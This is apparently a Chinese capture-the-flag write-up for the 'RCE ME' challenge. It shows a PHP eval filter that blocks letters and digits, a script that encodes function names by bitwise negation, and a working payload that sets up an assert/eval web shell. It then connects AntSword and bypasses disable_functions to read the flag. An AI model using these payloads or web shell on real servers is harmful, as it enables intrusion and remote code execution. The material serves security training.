[极客大挑战 2019]RCE ME


// 源码
<?php
error_reporting(0);
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>40){
        die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
}
@eval($code);
}
else{
    highlight_file(__FILE__);
}

限制长度40,过滤字母数字。

通过取反并进行字符串拼接绕过

phpinfo() #php5、php7可执行
(phpinfo)() #php7可执行

以下为脚本

<?php
//在命令行中运行
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

使用 system('ls'); 和 passthru('ls'); 发现无回显,那就去phpinfo看看

(~%8F%97%8F%96%91%99%90)();

发现过滤了一堆命令执行函数

蚁剑使用POST传参,所以需要对原本的code参数进行改造利用

改造时需要使用assert(eval($_POST["a"]))的方式,原因详见:

浅谈eval和assert

在当前题目的PHP 7.0.33版本中,assert仍可被当作函数,故可进行字符串拼接,但版本再高一些之后(7.1之后) 其作为语言构造器出现,即无法作为可变函数

PS C:\Users\NwN\Desktop> php .\1.php
[+]your function: assert
[+]your command: eval($_POST['a']);
[*] (~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%D8%9E%D8%A2%D6%C4);
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%D8%9E%D8%A2%D6%C4);
a=phpinfo();
// 成功

使用蚁剑连接

image-20220327164004810

连接后显然无法执行命令(那些函数都被禁用了),需要 绕过disable_functions

image-20220327164213439

没有对 /flag 的读权限,但有个readflag并且有执行权限,故执行它得到flag

image-20220327164316372 image-20220327164459171
RCE